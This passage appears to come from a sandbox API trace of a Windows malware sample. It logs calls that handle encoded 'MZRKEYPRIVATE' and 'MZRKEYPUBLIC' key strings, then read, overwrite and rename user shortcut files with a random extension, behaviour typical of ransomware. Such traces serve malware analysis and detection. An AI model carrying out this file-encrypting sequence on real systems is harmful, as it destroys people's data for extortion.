TDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.858] GetCurrentThreadId () returned 0xa30 [0128.858] GetCurrentThreadId () returned 0xa30 [0128.858] GetCurrentThreadId () returned 0xa30 [0128.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.860] GetCurrentThreadId () returned 0xa30 [0128.860] GetCurrentThreadId () returned 0xa30 [0128.860] GetCurrentThreadId () returned 0xa30 [0128.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.860] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0128.860] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.860] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4ee [0128.860] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0128.861] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x4ee, lpOverlapped=0x0) returned 1 [0128.865] CloseHandle (hObject=0x1dc) returned 1 [0128.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0128.867] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x4ee, lpOverlapped=0x0) returned 1 [0128.870] CloseHandle (hObject=0x1dc) returned 1 [0128.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk.zv7un")) returned 1 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] GetCurrentThreadId () returned 0xa30 [0128.872] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 1 [0128.872] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0128.872] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0128.872] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2)) returned 1 [0128.873] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk")) returned 0x20 [0128.874] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk", dwFileAttributes=0x80) returned 1 [0128.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 